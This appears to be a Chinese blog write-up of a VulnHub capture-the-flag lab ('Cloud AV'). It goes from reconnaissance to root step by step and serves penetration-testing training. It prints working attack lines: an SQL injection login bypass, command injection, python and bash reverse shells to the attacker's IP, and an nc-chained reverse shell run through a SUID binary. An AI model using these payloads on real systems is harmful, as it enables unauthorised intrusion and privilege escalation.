【VulnHub靶场】——BOREDHACKERBLOG: CLOUD AV

简介: 从上周开始制定了为期24周的打靶训练(每周一次),所以今天开始进行24次系统性打靶第二次训练,每次打靶后都会分享靶场攻略和总结的知识点,如果对渗透测试和打靶比较感兴趣的小伙伴们也可以跟着我一起训练哦(这24个靶场都是精挑细选的,基本覆盖了渗透测试需要了解的全部类型的漏洞),我们直接进行第二次打靶训练————————————————版权声明:本文为CSDN博主「Demo不是emo」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。原文链接:https://blog.csdn.net/qq_63844103/article/details/127703798

作者名:Demo不是emo

主页面链接:主页传送门  创作初心:舞台再大,你不上台,永远是观众,没人会关心你努不努力,摔的痛不痛,他们只会看你最后站在什么位置,然后羡慕或鄙夷  座右铭:不要让时代的悲哀成为你的悲哀  专研方向:网络安全,数据结构

每日emo:超越者

从上周开始制定了为期24周的打靶训练(每周一次),所以今天开始进行24次系统性打靶第二次训练,每次打靶后都会分享靶场攻略总结的知识点,如果对渗透测试和打靶比较感兴趣的小伙伴们也可以跟着我一起训练哦(这24个靶场都是精挑细选的,基本覆盖了渗透测试需要了解的全部类型的漏洞),我们直接进行第二次打靶训练

第二次打靶训练针对的知识点如下

本周我们学习的对应靶场就是BOREDHACKERBLOG: CLOUD AV(低等难度),靶场环境来源于VulnHub,该网站有很多虚拟机靶场,靶场入口在这,推荐大家使用,大家进去直接搜索BOREDHACKERBLOG: CLOUD AV就能下载今天的靶场了,或者点击下面的链接也能打开下载地址

靶场地址BoredHackerBlog: Cloud AV ~ VulnHub

目录

一:攻击准备

二:信息收集

1.主机发现

2.端口扫描

3.web侦查

4.路径爬取

三:初步渗透

1.登录处理

[ [1]密码爆破 ](#t8)

[ [2]万能密码](#t9)

2.命令执行

3.反弹shell

[[1].python反弹shell](#t12)

[[2]bash反弹shell ](#t13)

 四.本地提权

1.代码审计

2.nc串联反弹shell

五:训练总结


直接在vbox导入就可以,如果出现了报错,就像下面这样启用usb控制器关掉就可以正常打开了

这里除了到vulnhub下载到的目标虚拟机环境,还需要一台kali,并且两台处于同一网段(可以都用桥接模式),这里用的是virtual来给大家演示具体操作,如下面这样靶机就算开启了,具体搭建过程就不多讲了,有问题的也可以私信问我  

1.主机发现

先来看看我们kali攻击机的ip地址

可以看到我们的kali攻击机的ip为172.21.111.48,但是我们现在并不知道目标靶机的ip地址,所以我们第一个目标就是找到目标靶机的ip地址,也就是主机发现

我们用arp-scan扫描工具扫描同网段内的主机(该工具kali自带) ,指令如下

arp-scan -l

扫描结果如下

因为我这里是校园网存在防护,所以会扫出来很多不存在的主机,此时看最后的硬件厂商即可,上面的扫描结果可以看到只有172.21.77.55这台主机的硬件厂商与其他机器不同,所以猜测它应该就是目标靶机的ip地址

2.端口扫描

 这里我们成功知道了目标的ip地址为172.21.77.55,所以我们先用namp扫描工具对目标开启的端口和服务进行探测,扫描命令如下

nmap -A 172.21.77.55

可以看到目标开启了22端口,对应着ssh服务,还开启了8080端口,对应着http服务 ,而且该网页是一个用python编写的网页,因为ssh需要账密,所以我们先去访问目标的网页看能不能从web端入手

3.web侦查

根据8080端口开放的http端口访问目标网页,页面如下

成功访问到目标页面,提示说这是一款云杀毒扫描系统,而这是页面就是该系统的登录页面,但是需要密码

看到靶机的登录框猜测是弱密码或者万能密码,甚至还有可能存在注入点但也不一定,万一存在敏感目录之类的,就有可能泄露了密码,所以我们仍然可以先进行目录扫描

4.路径爬取

所以先进行一遍目录扫描,这里我使用的是dirsearch目录扫描工具(kali自带),扫描命令如下(把ip换成你的靶机ip)

dirsearch -u "http://172.21.77.55:8080/" -e *

扫描结果如下

可以看到有两个状态码为405的页面,还有一个状态码为200的页面,先访问这个200的页面试试

该页面可以看到是一个控制台页面,但是提示需要pin值,还说明了pin值需要拿到服务器的shell后才能找到,那我们也只能暂时放弃对这个页面的探测,回到最开始的页面

1.登录处理

[1]密码爆破

既然敏感目录暂时无法利用,就只能回到最初的页面,但是密码我们又不知道,所以首选还是对密码进行爆破,这里用物理机来访问该网页(因为我的burp在物理机),再对密码输入点进行抓包并爆破

通过查看返回长度,只有password的值长度与其他不同,所以password就是目标密码了,我们输入password,成功进入,页面如下

[2]万能密码

经过测试,这里也存在了万能密码,具体测试过程(拿万能密码字典爆破)就不多讲了

测试出来的万能密码:1" or 1=1--+

2.命令执行

经过观察登录后的页面发现,目标给我们列出来了一些文件(居然还自带netcat工具),并提示我们可以输入其中的文件名来测试云病毒查杀效果。我们先输入一个文件名cat(它列出的文件名之一)试试

结果如下:

可以看到雀氏只是对目标进行了一个扫描,但是它识别扫描目标是通过我们输入的文件名来进行的,所以也有可能解析我们的命令,所以有可能存在命令执行漏洞,我们在输入cat & id尝试一下是否有回显,对命令执行漏洞不是很清楚的小伙伴也可以去看看我的博客讲解,点此进入

可以看到在扫描了该文件的同时也执行了我们的id命令,所以的确存在命令执行漏洞

3.反弹shell

这里反弹shell有两种方式

[1].python反弹shell

代码如下,把ip和port改成自己的就可以了

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

这个太简单了,网上一大把,所以就不实际演示了,并且因为这里是通过命令执行来建立的连接,所以执行命令时还是会对文件进行病毒扫描,因此命令回显较慢

[2]bash反弹shell

代码如下,使用注意同上

hello;echo 'bash -i >& /dev/tcp/ip/port 0>&1'|bash

这里我实际使用的命令如下:

hello;echo 'bash -i >& /dev/tcp/172.21.111.48/6666 0>&1'|bash

再在kali开启监听即可拿到shell,如下

可以看到成功拿到了shell,又因为最初信息收集时知道了目标是用python写的,所以我们可以在该页面用pty创建一个功能健全的交互式shell,命令如下

python -c "import pty;pty.spawn('/bin/sh');"

效果如下

拿到权限,老规矩仔细看看各个目录是否有作者留下来的东西,果然,在家目录的当前用户文件夹下发现几个可疑文件

发现存在一个编译过的文件update_cloudav,以及源码文件update_cloudav.c,并且通过查看权限,发现文件拥有SUID权限,很可能就是作者留给我们的。我们cat查看一下里面的内容,如下

1.代码审计

查看c源代码文件,我们发现程序定义了一个执行参数

如果程序在执行中不包含参数,那么会打印出这段话:This tool lets you update antivirus rules\nPlease supply command line arguments for freshclam;

如果我们执行程序使用了参数,那么程序就会执行freshclam,运行病毒库更新

意思就是重点强调了参数问题,就很容易联想到命令执行漏洞,因为此程序的权限是root,所以此程序造成的命令执行漏洞获取的权限就是root权限,也就可以达到我们提权的目的

在这里我们可以尝试执行此程序带上系统命令,看看是否存在命令执行漏洞

经过一番调试发现确实存在命令执行注入(参数7777是我随便想的,不过没出问题,应该是数字都可以)

2.nc串联反弹shell

这里我们选择利用nc串联反弹shell(对nc串联反弹shell有问题的小伙伴可以看看我的博客,其中有介绍哦,点击查看),来进行最终的提权,命令如下

./update_cloudav "7777 |nc kali的ip 第一个端口|/bin/sh|nc kali的ip 第二个端口"

在kali上新开两个终端分别开启监听两个端口,端口自己选择即可,只要不冲突就可以,这里我选择的是1234和4567端口

控制目标机器执行带有反弹shell命令的代码

此时就已经成功建立了连接,在第一个端口建立的连接终端执行命令,会在第二个连接端口的终端回显结果,可以看到现在已经是root权限了

可以看到成功拿到root权限,到这里这个靶场就结束了,这个靶场因为是低难度的所以并不是很难,但需要很强的逻辑能力和基础能力,涉及到的知识点比较基础,但还是得一步一步来,需要的时间比较多,算是一次比较全面的训练了

二十四次系统性打靶训练第二次圆满结束,每周会进行一次打靶并记录,有兴趣的可以跟我一起哦,最后感谢大家的阅读,有什么问题或者网安方面的问题随时欢迎私信评论区讨论,respect!

相关文章
|
安全 数据安全/隐私保护
针对一个有意思的钓鱼免杀样本的详细分析
近日跟踪到一个钓鱼样本,比较有意思,沙箱没有跑出行为,如下所示: 做安全,免杀是一个永恒的话题,是一场猫捉老鼠的游戏,通过研究一些对抗型的攻击样本,可以更好的了解攻击者在使用什么技术。
|
9月前
|
机器学习/深度学习 分布式计算 供应链
阿里云先知安全沙龙(上海站) ——大模型基础设施安全攻防
大模型基础设施的安全攻防体系涵盖恶意输入防御和基础设施安全,包括框架、三方库、插件、平台、模型和系统安全。关键漏洞如CVE-2023-6019(Ray框架命令注入)、CVE-2024-5480(PyTorch分布式RPC)及llama.cpp中的多个漏洞,强调了代码安全性的重要性。模型文件安全方面,需防范pickle反序列化等风险,建议使用Safetensors格式。相关实践包括构建供应链漏洞库、智能化漏洞分析和深度检测,确保全方位防护。
|
12月前
|
Java 应用服务中间件 API
Vertx高并发理论原理以及对比SpringBoot
Vertx 是一个基于 Netty 的响应式工具包,不同于传统框架如 Spring,它的侵入性较小,甚至可在 Spring Boot 中使用。响应式编程(Reactive Programming)基于事件模式,通过事件流触发任务执行,其核心在于事件流 Stream。相比多线程异步,响应式编程能以更少线程完成更多任务,减少内存消耗与上下文切换开销,提高 CPU 利用率。Vertx 适用于高并发系统,如 IM 系统、高性能中间件及需要较少服务器支持大规模 WEB 应用的场景。随着 JDK 21 引入协程,未来 Tomcat 也将优化支持更高并发,降低响应式框架的必要性。
317 6
Vertx高并发理论原理以及对比SpringBoot
|
11月前
|
存储 关系型数据库 MySQL
MySQL 如何存储地理信息
MySQL 如何存储地理信息
1172 1
|
12月前
|
安全 测试技术 Linux
CentOS7 安装vulhub漏洞测试环境
CentOS7 安装vulhub漏洞测试环境
411 0
|
JSON JavaScript Java
性能工具之Jmeter压测Thrift RPC服务
【5月更文挑战第21天】性能工具之Jmeter压测Thrift RPC服务
282 1
|
存储 缓存 Windows
释放C盘空间:WinSXS文件夹真实性大小判断及释放占用空间
WinSXS文件夹存储了不同版本的系统组件和动态链接库(DLL),包括各个Windows更新、Service Pack和功能更新安装后保留的旧版文件。即使新版本已经安装并投入使用,旧版本文件仍被保存以确保与依赖旧版本的应用程序兼容。
870 0
释放C盘空间:WinSXS文件夹真实性大小判断及释放占用空间
|
机器学习/深度学习 算法 搜索推荐
【高效率学习】探索最适合你的学习之路:从心理学、动机到教育学的深度解析
【高效率学习】探索最适合你的学习之路:从心理学、动机到教育学的深度解析
314 0
【高效率学习】探索最适合你的学习之路:从心理学、动机到教育学的深度解析
|
安全 Shell
vulnhub靶场—matrix-breakout-2-morpheus靶机
vulnhub靶场—matrix-breakout-2-morpheus靶机
257 2
|
存储 网络协议 安全
Web 扫描神器:Gobuster 保姆级教程(附链接)
Web 扫描神器:Gobuster 保姆级教程(附链接)